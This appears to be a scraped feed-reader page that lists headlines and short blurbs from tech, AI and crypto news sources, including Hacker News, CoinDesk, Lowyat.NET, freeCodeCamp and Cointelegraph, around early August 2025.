    Comments  ( 1 min )
    New quantum state of matter found at interface of exotic materials
    Comments  ( 11 min )
    Vibe Coding Is the Fast Fashion Industry of Software Engineering
    Comments  ( 3 min )
    Secuso – Our Farewell from Google Play
    Comments  ( 2 min )
    You might not need tmux
    Comments  ( 5 min )
    Palantir gets $10B contract from U.S. Army
    Comments
    How I configure BorgBackup and borgmatic (2023)
    Comments  ( 4 min )
    Break the selective silence on the genocide in Gaza
    Comments
    Every satellite orbiting earth and who owns them (2023)
    Comments  ( 19 min )
    Show HN: Gmap: Explore Git Repos Visually from the CLI
    Comments  ( 8 min )
    LLM Leaderboard-Comparing 100 AI Models from OpenAI, Google, DeepSeek and Others
    Comments  ( 31 min )
    Show HN: KubeForge – A GUI for Kubernetes YAMLs
    Comments  ( 6 min )
    Golden Literal Testing in UTest
    Comments  ( 8 min )
  • Open

    New vision model from Cohere runs on two GPUs, beats top-tier VLMs on visual tasks
    Cohere's Command A Vision can read graphs and PDFs to make enterprise research richer and analyze the documents businesses actually rely on.  ( 8 min )
    Why open-source AI became an American national priority
    To reflect democratic principles, AI must be built in the open. If the U.S. wants to lead the AI race, it must lead the open-source AI race.  ( 7 min )
    Google releases Olympiad medal-winning Gemini 2.5 ‘Deep Think’ AI publicly — but there’s a catch…
    The Gemini 2.5 Deep Think released to users is not that same competition model, rather, a lower performing but apparently faster version.  ( 10 min )
    OpenAI removes ChatGPT feature after private conversations leak to Google search
    OpenAI abruptly removed a ChatGPT feature that made conversations searchable on Google, sparking privacy concerns and industry-wide scrutiny of AI data handling.  ( 9 min )
  • Open

    Crypto Carnage Continues Even as Gold, Bonds Surge on Soft U.S. Jobs Data
    Bitcoin and stocks are at session lows late in U.S. afternoon trade on Friday.  ( 27 min )
    Crypto ETFs See Record $12.8B Inflows in July as Market Rallies to New Highs
    The crypto market, as tracked by the CoinDesk 20 Index, jumped over 21% in July.  ( 27 min )
    What Bitcoin's Velocity Says About Its Future
    Falling on-chain velocity doesn’t necessarily mean bitcoin usage is slowing. In fact, it might just mean we’re looking in the wrong place, says Stefania Barbaglio.  ( 31 min )
    Red Coin, Blue Coin: The New Politics of Exposure
    Bitcoin is politically neutral. But bitcoin treasury vehicles aren’t. Are we buying the coin, or the campaign?  ( 30 min )
    Polkadot's DOT Suffers 5% Decline as Intensified Selling Pressure Overwhelms Market
    Support has now been established in the $3.55-$3.58 range, with resistance at the $3.68 level.  ( 27 min )
    Hong Kong's Stablecoin Rules Kick In as It Looks to Establish Its Crypto Credentials
    The new rules meal that stablecoin issuers will need to apply for a license in the region.  ( 27 min )
    Regulators Handed the Crypto Industry a 5-Year Head Start. Can Wall Street Catch Up?
    Regulatory clarity means that traditional broker-dealers are no longer on the sidelines, says Aaron Kaplan, Co-CEO and founder of Prometheum.  ( 28 min )
    Gemini's Tyler Winklevoss Says Trump CFTC Pick Quintenz Has 'Disqualifying' Views
    Winklevoss shared "significant concerns" with CoinDesk about Brian Quintenz running the agency, revealing the industry isn't entirely behind Trump's nominee.  ( 37 min )
    BONK Sinks 5% as Institutional Liquidation Intensifies
    Meme coin loses ground amid broad risk-off sentiment and $0.000025 support test
    Shiba Inu Tanks 6% But 'Inverted Hammer' Offers Hope to Bulls
    he number of SHIB tokens on exchanges surged, suggesting potential whale distribution despite significant accumulation.
    Filecoin Drops Over 6%, Breaks Key Support at the $2.38 Level
    FIL encountered significant bearish momentum during the 24-hour period
    Bitcoin Mining Profitability Last Month Hit Highest Level Since the Halving: JPMorgan
    Ten of the thirteen U.S.-listed miners that the bank tracks outperformed bitcoin last month, the report said.
    CoinDesk 20 Performance Update: Bitcoin (BTC) Price Drops 1.3% as All Assets Decline
    Bitcoin Cash (BCH) price declined 1.4% from Thursday.
    Tokenization of Real-World Assets is Gaining Momentum, Says Bank of America
    Discussions with investors show a growing focus on the tokenization of real world assets, including stocks, bonds, and real estate.
    U.S. Added Just 73K Jobs in July, Unemployment Rate Rose to 4.2%
    In addition to the weak July number, June's and May's originally reported strong job growth were revised sharply lower.
    Crypto Treasury Companies Risk Ignoring Lessons from History, Warns Galaxy
    Galaxy Digital surveys the daily rush of new crypto treasury companies: What could possibly go wrong?
    BNB Slides as Tariffs, Stronger Dollar and Fed Policy Weigh on Crypto Markets
    Despite the price drop, BNB is seeing growing corporate adoption, with several companies announcing plans to invest hundreds of millions of dollars in BNB.
    Ethena's USDe Outpaces BlackRock’s Bitcoin, Ether ETFs With $3.1B Inflow Surge
    In just 20 days, USDe added over $3.1B in supply, eclipsing inflows into BlackRock’s IBIT and ETHA combined. Reflexive market dynamics and rising yields are fueling the stablecoin’s explosive growth.
    Assetera Opens Tokenized Securities Market to Crypto Exchanges With MiFID-Compliant API
    Assetera’s new API lets crypto exchanges offer tokenized stocks and bonds across Europe without a license.
    Bitcoin Slides as Rate-Cut Hopes Fade: Crypto Daybook Americas
    Your day-ahead look for Aug. 1, 2025
    Are Traders Done With Ether? Options Market Now Prices Higher Risk for ETH Than BTC
    Market sentiment has shifted against ether, with downside insurance premiums costlier than for bitcoin.
    CoinDCX Engineer Arrested Following July's $43.4M Exploit: Report
    A software engineer working for CoinDCX has been arrested for alleged involvement in the breach after hackers allegedly exploited his credentials to siphon funds to six wallets.
    Bitcoin, Ether Start August on a Shaky Note as Dollar Index Tops 100; Yen Hits 4-Month Low Ahead of Nonfarm Payrolls
    Major cryptocurrencies, including BTC and ETH, experienced volatile trading as the dollar strengthened following new U.S. tariffs.
    DOGE Suffers 8% Drop but Signs of Institutional Accumulation at 21-Cents
    Meme token DOGE fell sharply over the past 24 hours as a dramatic increase in volume drove prices down to key support levels. Despite the selloff, data suggests large holders may be quietly accumulating.
    XRP Falls 8% Below $3 After Hitting Resistance, High-Volume Selloff Signals Weakness
    Momentum indicators remain skewed bearish, though recovering volume profiles suggest some exhaustion in the sell-off.
    $600M Bullish Bets Liquidated as Bitcoin Drops to $115K, DOGE, SOL, XRP Fall 6%
    Bitcoin (BTC) dropped to $115,200, erasing some of its recent gains but still maintaining a relatively stable posture compared to other majors. Its dominance rose slightly as altcoins bore the brunt of the correction.
    Solv Protocol Introduces Automated Yield Generation for Bitcoin Holders
    Solv Protocol has launched BTC+, an automated vault for generating yield on bitcoin holdings, offering a base yield of 4.5% to 5.5%.
    Asia Morning Briefing: Bitcoin Drops to $115K as Third Major Profit-Taking, New Tariff Tensions Add Pressure
    CryptoQuant data shows a $6–8B profit-taking spike in July as new whales offload BTC near highs. Trump's renewed tariff measures, announced Thursday, deepen the consolidation phase.
  • Open

    Forcing LLMs to be evil during training can make them nicer in the long run
    A new study from Anthropic suggests that traits such as sycophancy or evilness are associated with specific patterns of activity in large language models—and turning on those patterns during training can, paradoxically, prevent the model from adopting the related traits. Large language models have recently acquired a reputation for behaving badly. In April, ChatGPT suddenly…  ( 23 min )
    The Download: how fertility tech is changing families, and Trump’s latest tariffs
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. How decades-old frozen embryos are changing the shape of families This week we welcomed a record-breaking baby to the world. Thaddeus Daniel Pierce, who arrived over the weekend, developed from an embryo that…  ( 21 min )
    How decades-old frozen embryos are changing the shape of families
    This week we welcomed a record-breaking baby to the world. Thaddeus Daniel Pierce, who arrived over the weekend, developed from an embryo that was frozen in storage for 30 and a half years. You could call him the world’s oldest baby. His parents, Lindsey and Tim Pierce, were themselves only young children when that embryo…  ( 21 min )
  • Open

    Kingston Fury Renegade G5 Lightning Review: Gen5 Comes To Kingston Products
    As the world slowly gets comfortable and saturated with the PCIe Gen5 storage standard, Kingston is officially throwing its lot into the arena with the Fury Renegade G5. It’s a storage drive aimed at people that are looking for the next best thing, along with folks that are demanding something faster than the current PCIe […] The post Kingston Fury Renegade G5 Lightning Review: Gen5 Comes To Kingston Products appeared first on Lowyat.NET.  ( 35 min )
    Google Introduces New Video Overviews Feature To NotebookLM
    Google has rolled out Video Overviews to its AI-powered research assistant, NotebookLM. This new feature helps transform dense materials like notes, PDFs, and images into visual presentations to aid understanding. Originally announced during Google I/O in May, Video Overviews builds on NotebookLM’s existing Audio Overviews by offering a more visual way to break down complex […] The post Google Introduces New Video Overviews Feature To NotebookLM appeared first on Lowyat.NET.  ( 33 min )
    NVIDIA Ending Support For Maxwell, Pascal GPUs By October 2025
    NVIDIA is finally and officially ending support for the Maxwell and Pascal GPU generations. Come October 2025, all GPUs within the GTX 9 and 10-Series will receive their final Game Ready driver then, a sign that NVIDIA is ready to move on. After receiving their final Game Ready Driver, NVIDIA says that card using the […] The post NVIDIA Ending Support For Maxwell, Pascal GPUs By October 2025 appeared first on Lowyat.NET.  ( 34 min )
    KTM Komuter Services To KL Sentral Disrupted On Sundays Until Late September
    Commuters travelling on the KTM trains from Pelabuhan Klang to KL Sentral line are advised to prepare for disruptions on Sundays over the next two months. Its operator, Keretapi Tanah Melayu Berhad (KTMB), has announced a temporary suspension of train services between Port Klang and Abdullah Hukum stations starting this Sunday on 4 August until […] The post KTM Komuter Services To KL Sentral Disrupted On Sundays Until Late September appeared first on Lowyat.NET.  ( 33 min )
    Tim Cook: Apple Is Open To Making AI-Related Acquisitions
    In terms of public perception, it’s difficult to argue that Apple is quite behind in the AI race. After all, its own Apple Intelligence had multiple stumbles before it even began its gradual rollout. So it’s probably not surprising to hear that the bitten fruit brand is open to mergers and acquisition in the field […] The post Tim Cook: Apple Is Open To Making AI-Related Acquisitions appeared first on Lowyat.NET.  ( 33 min )
    ChatGPT Removes The Option To Make Your Conversation Discoverable In Search Engines
    Among all the recent AI tools, none are more popular than OpenAI’s ChatGPT. Ever since it hit mainstream appeal, similar cookie-cutter AIs have cropped up, where some people have either had some friendly conversations or have made it do some downright offensive stuff. However, for a brief moment, ChatGPT users had to be careful about […] The post ChatGPT Removes The Option To Make Your Conversation Discoverable In Search Engines appeared first on Lowyat.NET.  ( 34 min )
    Microsoft Becomes Second Tech Giant To Reach US$4 Trillion Valuation
    Microsoft hit a milestone by being valued at US$4 trillion (~RM17.11 trillion). It’s a first for the company in its 50-year history, but more importantly, it is now the second company in the tech ecosphere to hit said milestone, right after NVIDIA took first place for the title last month. A lot of Microsoft’s good […] The post Microsoft Becomes Second Tech Giant To Reach US$4 Trillion Valuation appeared first on Lowyat.NET.  ( 33 min )
    WhatsApp Is Working On A Username Key Feature
    According to WABetaInfo, WhatsApp is developing a username key feature. This feature will allow the user to set up a code that must be entered by those looking to contact the person for the first time. It was previously known as the “username PIN”. The username key serves as a privacy feature as it allows […] The post WhatsApp Is Working On A Username Key Feature appeared first on Lowyat.NET.  ( 34 min )
    Samsung Exynos 2600 To Be The First Commercial 2nm Chipset
    The Samsung Exynos 2600 chipset has already made unofficial appearances ahead of its official debut. Said appearances have given us a rough picture of its performance compared to other leading mobile chipsets in the market. More recently, its maker has confirmed that, by the time it goes out into the market, it would be the […] The post Samsung Exynos 2600 To Be The First Commercial 2nm Chipset appeared first on Lowyat.NET.  ( 33 min )
    Battlefield 6 To Launch On PS5, Xbox Series X/S, PC On 10 October
    Following several leaked images from content creators, EA and Battlefield Studios have finally come out of the woodwork to officially announce its upcoming title, Battlefield 6. The reveal showcased several brand new features, such as a redefined combat mechanic, new and returning game modes, and multiplayer and single-player details, all of which we’ll get to […] The post Battlefield 6 To Launch On PS5, Xbox Series X/S, PC On 10 October appeared first on Lowyat.NET.  ( 34 min )
    Google Pixel Buds 2a Render Appears Online
    Google is set to make a big announcement involving this year’s batch of Pixel devices later this month. One of them is the Pixel Buds 2a TWS. But ahead of its launch, it looks like an official render of the product has made its way online. This comes courtesy of Android Headlines, which has shared […] The post Google Pixel Buds 2a Render Appears Online appeared first on Lowyat.NET.  ( 33 min )
    MITI: Huawei AI Chip Project Not A Government Initiative
    The Ministry of Investment, Trade and Industry (MITI) has explained that it has no involvement with any AI projects utilising Huawei chips. The initiative is not a government project, but rather a private sector venture. According to MITI, the private sector’s use of AI technologies depend on the strategic choices of the individual companies. The […] The post MITI: Huawei AI Chip Project Not A Government Initiative appeared first on Lowyat.NET.  ( 33 min )
    Opinion: Double Standards On Personal Data Collection Criticism?
    The topic of personal data collection isn’t new. In fact, it’s something many have been forced to tolerate for a very long time. This is largely because, in most cases, data is collected without consent and with little or no choice for opting out. But one thing is certain: unconsented personal data collection has never […] The post Opinion: Double Standards On Personal Data Collection Criticism? appeared first on Lowyat.NET.  ( 35 min )
    US Lowers Tariff On Malaysian Exports To 19% From 25%
    US President Donald Trump has signed an executive order revising the reciprocal tariffs rate on various regions. As one of the trading partners affected by the updated ad valorem duties, Malaysia now faces a 19% tariff, reduced from the previous 25%. This new tariff structure will take effect seven days from the date of the […] The post US Lowers Tariff On Malaysian Exports To 19% From 25% appeared first on Lowyat.NET.  ( 33 min )
    DJI Osmo 360 Now Official; Starts From RM1,879 In Malaysia
    DJI has officially unveiled the Osmo 360, its first entry into the 360-degree camera segment. Positioned as a flagship model, the new action camera boasts a custom-designed sensor architecture which enables for 8K video recording capabilities and high-resolution image capture. The Osmo 360 is compact and lightweight at 183 grams. It is built for durability […] The post DJI Osmo 360 Now Official; Starts From RM1,879 In Malaysia appeared first on Lowyat.NET.  ( 34 min )

  • Open

    British man claims he's unable to watch porn as tattoos confuse age check system
    Comments  ( 12 min )
    Crafting your own Static Site Generator using Phoenix (2023)
    Comments  ( 9 min )
    Age Verification Doesn't Need to Be a Privacy Footgun
    Comments  ( 10 min )
    "No Tax on Tips" Is an Industry Plant
    Comments  ( 174 min )
    Benchmarking MicroPython
    Comments  ( 8 min )
    The Anti-Abundance Critique on Housing Is Dead Wrong
    Comments  ( 29 min )
    A Hitchhiker's Guide to the AI Bubble
    Comments  ( 10 min )
    Denver rent is back to 2022 prices after 20k new units hit the market
    Comments  ( 17 min )
    Radiant Nuclear – Portable Power
    Comments
    The Big Oops in type systems: This problem extends to FP as well
    Comments  ( 8 min )
    Show HN: SafeRate – AI chat-native mortgage lender
    Comments  ( 1 min )
    Slow
    Comments  ( 3 min )
    Astronomical Telescope "Hadley" – an easy assembly, high performance Newtonian
    Comments
    Watching the World in a Dark Room: The Early Modern Camera Obscura
    Comments  ( 41 min )
    Engineering Buy-In
    Comments  ( 13 min )
    Go Assembly Mutation Testing
    Comments  ( 7 min )
    Secure boot certificate rollover is real but probably won't hurt you
    Comments  ( 6 min )
    How Long Before Superintelligence? (1997)
    Comments  ( 26 min )
    Introduction to XEphem (Motif)
    Comments  ( 2 min )
    Show HN: My Bytecode Optimizer Beats Copilot by 2X
    Comments  ( 12 min )
    How to Scan Force Pushed Commits for Secrets
    Comments  ( 15 min )
    Show HN: Astro dev blog template with 60 interactive colorschemes
    Comments  ( 10 min )
    AI Is a Floor Raiser, Not a Ceiling Raiser
    Comments  ( 4 min )
    Kaizen (YC X25) is hiring engineers to build browser agents that work
    Comments  ( 2 min )
    Gemini Embedding: Powering RAG and context engineering
    Comments  ( 4 min )
    Make any website load faster with 6 lines of HTML
    Comments  ( 3 min )
    Show HN: Mcp-use – Connect any LLM to any MCP
    Comments  ( 41 min )
    Launch HN: Gecko Security (YC F24) – AI That Finds Vulnerabilities in Code
    Comments  ( 4 min )
    Restaurant Industry Report from Square
    Comments  ( 5 min )
    Hundreds of agencies tap Atherton surveillance system for feds; Fails own rules
    Comments  ( 29 min )
    How Not to Study a Disease (2023)
    Comments
    A 3D model of the human airways via a digital light processing bioprinter
    Comments
    QUIC for the Kernel
    Comments  ( 4 min )
    The Future of Programming (2013)
    Comments  ( 8 min )
    Ubiquiti Launches UniFi OS Server for Self-Hosting
    Comments  ( 17 min )
    PixiEditor 2.0 – A FOSS universal 2D graphics editor
    Comments  ( 5 min )
    I tried living on IPv6 for a day, and here's what happened
    Comments  ( 88 min )
    Rotten Apple: Former Israeli Spies Hired by Silicon Valley Giant
    Comments  ( 20 min )
    Ursa: A Leaderless, Object Storage–Based Alternative to Kafka
    Comments  ( 5 min )
    GCP CloudQuarry: Searching for Secrets in Public GCP Images
    Comments  ( 13 min )
    U.S. Senators Introduce New Pirate Site Blocking Bill: Block Beard
    Comments  ( 6 min )
    Do PE firms create value? How?
    Comments  ( 20 min )
    Magentic-UI: Towards Human-in-the-Loop Agentic Systems
    Comments  ( 2 min )
    Italy Armed to the Teeth: My Top Nine Poliziotteschi
    Comments  ( 43 min )
    Speed up suspend/resume for FreeBSD
    Comments  ( 17 min )
    Show HN: Implementation of DDPM (Denoising Diffusion Probabilistic Models)
    Comments  ( 2 min )
    Carbon Language: An experimental successor to C++
    Comments  ( 10 min )
    MacBook Pro Insomnia
    Comments  ( 1 min )
    Orion Browser by Kagi
    Comments  ( 2 min )
    Show HN: AgentMail – Email infra for AI agents
    Comments  ( 1 min )
    Fermat's Last Theorem in Lean – Imperial College London
    Comments  ( 4 min )
    Anaconda Raises $150M Series C
    Comments  ( 30 min )
    Releasing open weights for FLUX.1 Krea
    Comments  ( 9 min )
    What is gVisor?
    Comments  ( 5 min )
    OpenAI's "Study Mode" and the risks of flattery
    Comments
    Severe turbulence forces Delta plane to make emergency landing, 25 injured
    Comments  ( 13 min )
    Imaging reveals intricate tattoos of 2,500-year-old Siberian ice mummy
    Comments  ( 21 min )
    GenosDB (GDB) – Decentralized P2P Graph Database
    Comments  ( 4 min )
    NSW Fair Trading – Dark Patterns
    Comments  ( 8 min )
    Nova: A New Web Framework for Erlang
    Comments  ( 1 min )
    So You're a Manager Now
    Comments  ( 9 min )
    How Scientific Empires End
    Comments  ( 20 min )
    Matrix Is Not Safe for EU Data Privacy
    Comments  ( 10 min )
    Helion begins work on Washington nuclear fusion plant
    Comments  ( 3 min )
    Benchmarks in CI: Escaping the Cloud Chaos
    Comments  ( 30 min )
    Altima NSX – Computer Ads from the Past
    Comments
    Stream Kafka Topic to the Iceberg Tables with Zero-ETL
    Comments
    Camera Genealogica (Part 1)
    Comments  ( 12 min )
    Infracost (YC W21) hiring first PM to shift $600B cloud spend to proactive
    Comments  ( 6 min )
    PSA: Many countries that said NO to ChatControl in 2024 are now undecided
    Comments
    Introduction to Computer Music an Electronic Textbook
    Comments  ( 2 min )
    How was the Universal Pictures 1936 opening logo created?
    Comments  ( 9 min )
    GEPA: Reflective Prompt Evolution Can Outperform Reinforcement Learning
    Comments
    I tried Servo, the undercover web browser engine made with Rust
    Comments  ( 6 min )
    Why leather is best motorbike protection – whilst being dragged along concrete
    Comments
    GOP’s Josh Hawley and Democrats vote to advance congressional stock trading ban
    Comments  ( 8 min )
    How to trigger a command on Linux when disconnected from power
    Comments  ( 2 min )
    C++: "model of the hardware" vs. "model of the compiler" (2018)
    Comments  ( 11 min )
    Double-slit experiment holds up when stripped to its quantum essentials
    Comments  ( 9 min )
    Caches: LRU vs. Random
    Comments  ( 6 min )
    Show HN: AgentGuard – Auto-kill AI agents before they burn through your budget
    Comments  ( 31 min )
    Stargate Norway
    Comments
    Super-resolution of Sentinel-2 images (10M –> 5M)
    Comments  ( 9 min )
    Tracking source locations in the Futhark compiler
    Comments  ( 7 min )
    I Know When You're Vibe Coding
    Comments  ( 4 min )
    'Communities' of extreme life seen for first time in deep ocean
    Comments  ( 18 min )
    The Cost of Security Debt (With Numbers)
    Comments  ( 4 min )
    Friction and Not Being Touched
    Comments
    Classic Common Desktop Environment coming to OpenBSD
    Comments  ( 2 min )
    You know what: Microsoft became miserably incompetent in IT
    Comments  ( 17 min )
    Sei (YC W22) Is Hiring a Full Stack Engineer in Chennai, India
    Comments  ( 7 min )
    Remote hosting for your telescope
    Comments  ( 8 min )
  • Open

    How to Extract Insights from Text Using Named Entity Recognition (NER)
    Many of us enjoy reading the news and staying up-to-date on current events. But the number of new stories each day can be overwhelming. You probably want to know who’s involved in world events, where things are happening globally, and which organizat...  ( 7 min )
    Shared State Complexity in React – A Complete Handbook for Developers
    Imagine you're building a simple shopping website. You have a product page where users can add items to their cart, and a header that displays the number of items in the cart. Sounds simple, right? But here's the challenge: how does the header know w...  ( 55 min )
    Learn Enterprise AI – Embeddings, RAG, and Multimodal Agents Using Amazon Nova and Bedrock
    Enterprise AI requires different skills and technologies than your basic OpenAI wrapper applications you see all over. We just published a course on the freeCodeCamp.org YouTube channel that will teach all about Embeddings, RAG, Multimodal Models, an...  ( 4 min )
    Algorithm Analysis Deep Dive
    Have you ever just memorized that an algorithm is O(n log n) without truly understanding why? Our new algorithms course on the freeCodeCamp.org YouTube channel will help you build a deep intuition for how algorithms work. This Algorithm Analysis Deep...  ( 3 min )
    Improve Your Technical Writing Skills to Advance Your Career
    Technical writing is important for all sorts of careers. We just posted a course on the freeCodeCamp.org YouTube channel that will teach you the fundamentals of technical writing and help you understand its importance in various fields. The course wi...  ( 3 min )
    What is Unicode —The Secret Language Behind Every Text You See
    Have you ever sent a message with an emoji? Read a blog in another language? Or copied some strange symbol from the internet? All of these are possible because of something called Unicode. Unicode is a powerful system that lets computers understand...  ( 7 min )
    How to Use MongoDB with Go
    Working with databases is a fundamental part of backend development, particularly when you’re building applications that require persisting, querying, and updating data. In Go, the official MongoDB driver provides a robust way to connect to and inter...  ( 12 min )
    How to Upload Large Objects to S3 with AWS CLI Multipart Upload
    Uploading large files to S3 using traditional single-request methods can be quite challenging. If your’e transferring a 5GB database backup, and a network interruption happens, it forces you to restart the entire upload process. This wastes bandwidth...  ( 8 min )
  • Open

    Push for liquid staking in Solana ETFs gains institutional support
    Though it has weighed in on traditional staking, the US Securities and Exchange Commission has not issued guidance on liquid staking.
    From skeptic to supporter: JPMorgan CEO now a 'believer' in stablecoins, blockchain
    Once one of crypto’s loudest critics, Jamie Dimon now says he’s a “believer” in stablecoins as JPMorgan deepens its push into digital assets.
    Ethereum researcher pitches ‘Lean’ network for quantum era
    The proposal aims to make Ethereum faster and quantum-resistant, while also reducing the layer-1 blockchain's technical complexity.
    Coinbase misses Q2 revenue estimates, but stablecoin growth, policy wins offer hope
    The crypto exchange missed revenue estimates for Q2 2025, with transaction volumes falling sharply. Still, steady growth in stablecoin-related income offered some relief.
    Bitcoin range chop continues, but a breakout is brewing
    Bitcoin’s range expansion chose the downside, but data suggest the larger breakout is still brewing.
    Visa expands stablecoin offerings amid rising competition from institutions
    Visa, Mastercard, tech firms and banking institutions are all exploring ways of using blockchain technology for payments and settlement.
    Tether posts $4.9B profit in Q2 as stablecoins go mainstream
    In the first six months of 2025, Tether has had a profit of $5.7 billion, a rise of 9.6% compared to the same period in 2024.
    SEC crypto ETFs ruling brings structural fix, not retail shakeup: Analysts
    Bitwise is the first to act on the SEC’s rule change, though analysts say it’s a backend fix, not a retail breakthrough.
    New whales trigger Bitcoin’s third profit-taking wave of current cycle
    A fresh wave of profit-taking from newly emerged Bitcoin whales has marked the third major distribution event of this bull run, according to CryptoQuant.
    Bitcoin ’tick tock’ fractal predicts $150K BTC price top in October
    Bitcoin begins a 77-day historical countdown to its potential 2025 peak, with targets around $150,000 and higher.
    US SEC rolls out ‘Project Crypto’ to rewrite rules for digital assets
    The initiative will modernize the SEC for 21st-century finance and was formed in response to recent policy recommendations from the White House.
    Blockstream debuts Simplicity as Bitcoin’s answer to Ethereum’s Solidity
    Adam Back’s Blockstream has launched Bitcoin-native smart contract programming language Simplicity, offering an alternative to Ethereum’s Solidity.
    Ethereum derivatives show no momentum, raising doubts over $4K rally
    Despite strong ETF inflows, ETH traders remain cautious as competitive pressures and weak network activity persist.
    White House crypto report a mixed bag for Bitcoin advocates
    The White House’s crypto report did not provide updates to the March 6 executive order establishing a Bitcoin reserve.
    The rise of Money2: The next financial system has already begun
    Money2 is a new financial system powered by stablecoins and DeFi. With $225 billion in stablecoins and code-based contracts replacing banks, Money2 is already changing how value moves.
    Appeals court overturns Nate Chastain's conviction in OpenSea insider trading case
    Former OpenSea employee Nathaniel Chastain has successfully appealed his judgment of conviction for wire fraud and money laundering.
    Bitcoin’s quantum threat: Naoris offers bounty to break crypto encryption
    Naoris has launched a $120,000 bounty incentivising researchers to break key cryptographic algorithms underpinning Bitcoin, Ethereum and Solana.
    Bitcoin is now bigger than Amazon: Here’s how it became a top-5 asset
    Bitcoin’s explosive July rally pushed its market cap to $2.4 trillion, overtaking Amazon, silver and Alphabet, cementing its place among the world’s five most valuable assets.
    Deutsche Bank-backed EURAU stablecoin launch: Key things to know
    AllUnity’s EURAU stablecoin launches as euro-denominated stablecoins account for just 0.2% of the stablecoin market despite surging 60% since late 2024.
    99% of CFOs plan to use crypto long term, 23% within two years: Deloitte
    A Deloitte survey shows 99% of CFOs at billion-dollar firms expect to adopt crypto long term, with nearly a quarter planning integration within two years.
    From islands to highways: How blockchain interoperability is finally catching up
    As blockchain interoperability matures, this episode of the Clear Crypto Podcast unpacks how solutions like Hyperlane are reshaping crypto infrastructure and enhancing security.
    Corporate crypto treasury holdings top $100B as Ether buying accelerates
    Crypto treasury companies are emerging as a new category, bringing significant liquidity to the crypto industry.
    South Korea to target leveraged crypto lending services with new rules
    The guidelines are expected to cover leverage limits, user eligibility and risk disclosures for crypto lending activities.
    ‘Everything is fine’: Coinbase mocks UK financial system in new video
    Coinbase’s satirical video takes aim at Britain’s struggling economy as data shows almost half of UK adults are financially vulnerable.
    Philippines to secure government documents on Polygon despite network outage
    The Philippine government launched a blockchain-based document validation system on Polygon, despite the network suffering an outage on the same day.
    'Real fun starts' if XRP price ends July above $3, new analysis says
    XRP price needs to beat its January record monthly close above $3.03 for a renewed push toward new all-time highs.
    CoinDCX employee arrested in connection with $44M crypto hack: Report
    CoinDCX operator Neblio reportedly filed a complaint against software engineer Rahul Agarwal after discovering that his credentials had been compromised through his work laptop.
    Bitcoin miner Phoenix Group launches $150M crypto treasury for BTC, SOL
    This made Phoenix Group the first company listed on the Abu Dhabi Securities Exchange (ADX) to open a strategic cryptocurrency reserve, it said.
    Bitcoin price retargets $119K as treasuries buy 28K BTC in two days
    Bitcoin market sentiment shrugs off a hawkish Fed FOMC meeting in an instant amid fresh promises of a US strategic Bitcoin reserve becoming a reality.
    NFT sales surge to $574 million in July, second-highest in 2025
    CryptoSlam data showed that the average sale value for NFTs climbed to $113.08, highest in six months.
    The Ether Machine buys 15K ETH in $57M purchase, holdings top 334K
    The latest acquisition pushes The Ether Machine’s total holdings to 334,757 ETH, far outpacing the Ethereum Foundation’s reported 234,000 ETH.
    Ether, a ‘90s tech stock’ ends July with biggest gain in 3 years
    Ether rose 56% this month in its strongest monthly gain since July 2022 amid strong ETF flows and ETH treasury firm buying.
    Donald Trump to get on with Bitcoin reserve ‘in short order’ — Bo Hines
    White House digital assets chief Bo Hines confirmed strategic Bitcoin reserve plans remain active despite omission from a recent policy report.
    Crypto class actions on pace to nearly double in 2025
    Crypto-related securities class-action lawsuits are already near their total for the whole of 2024, Cornerstone Research says.
    Ethereum activity may top 2024 as it stays key to DeFi, NFTs: DappRadar
    DappRadar analyst Sara Gherghelas said 2025 Ethereum DApp activity appears on track to match or even surpass 2024, “suggesting that the current market momentum might be sustainable.”
    Slower bull market ahead? Fed rate cut probability falls to 40%
    Federal Reserve Chair Jerome Powell’s comments dampened hopes for a September rate cut, which could lead to a slower crypto bull run, one analyst speculates.
    Spot Ether ETF staking could ‘dramatically reshape the market’
    Hank Huang, CEO of Kronos Research, said Ether ETFs offering yield through staking “flips the switch on demand,” boosting liquidity and greater onchain participation.
    Bolivia calls crypto ‘reliable alternative’ to fiat in El Salvador partnership
    Bolivia has signed an agreement with El Salvador to promote crypto as an alternative to traditional currencies amid its ongoing economic crisis.
    Crypto users warned as ads push malware-laden crypto apps
    Over 10 million have been potentially targeted by a malware campaign designed to steal crypto and credentials, say cybersecurity researchers at Check Point.
    Robinhood crypto revenue doubles as CEO bets big on asset tokenization
    Robinhood saw its crypto revenue almost double to $160 million as CEO Vladimir Tenev confirmed plans to keep pushing its tokenization strategy in the US and abroad.
  • Open

    Why Usage-Based Pricing Felt Right for My AI Tool — and How I Pulled It Of
    The idea was simple: Let people speak to an AI tutor about any topic, get real-time responses, and build their own companions. But the economics weren’t. Every voice session had a real cost. The API I used (Vapi) abstracted everything—speech-to-text, GPT calls, voice response—into one beautiful endpoint. But behind that endpoint were real tokens, compute, and pricing. So when I launched Learnflow AI, I had to make a decision: Should I charge monthly? Freemium? Or usage-based? I went with usage-based pricing. Here’s why it made sense, where it went wrong, and how I implemented it in a way that didn’t kill the experience. Before monetizing, I gave users 10 free voice sessions. Each session started a conversation with a tutor and deducted 1 credit. But it didn’t work as I expected. People use…  ( 8 min )
    3D Cosine Relationship Graph
    Check out this Pen I made!  ( 4 min )
    3 Mistakes I Made Shipping My AI MVP Too Fast — and How I Fixed Them
    Last weekend, I launched Learnflow AI. Voice-first tutoring, powered by Vapi. Kinde for auth, access control, and billing. The stack was solid. And within 48 hours of early access going live, users began signing up. But they weren’t staying. That’s when it hit me: MVP velocity is great. But if the system around it—pricing, onboarding, experience—isn’t built to support it, your product isn’t shipping. It’s leaking. Here are 3 key mistakes I made while rushing my AI MVP to market—and the exact fixes I shipped afterward. Learnflow AI was simple in my head: Users create custom AI tutors They speak with them in real-time voice sessions Free plan = 10 sessions Paid plan = more credits, more features I assumed users would get it immediately. So I skipped onboarding. Users created tutors… but didn…  ( 7 min )
    ShellGuard: Building an AI-Assisted Command Approval System for SSH Security
    How we built a real-time command approval system to make AI automation safer. Please note: This is a preview system and more features will be needed before deploying it to production, but its real and it works! Picture this: You’re deploying an AI agent to help manage your infrastructure. It’s 3 AM, the agent decides to “clean up” your production database, and suddenly you’re having the worst morning of your career. Sound familiar? Not yet? Come back in a year or two if you’re not already having nightmares about it. As AI agents become more common in DevOps workflows, we’re facing a critical challenge: How do we harness the power of AI automation while maintaining control and safety? Traditional solutions like restricted shells help, but they don’t provide real-time insight, decision-maki…  ( 9 min )
    How I Built a Real-Time IoT Alert System with DynamoDB and Lambda In 4 Days
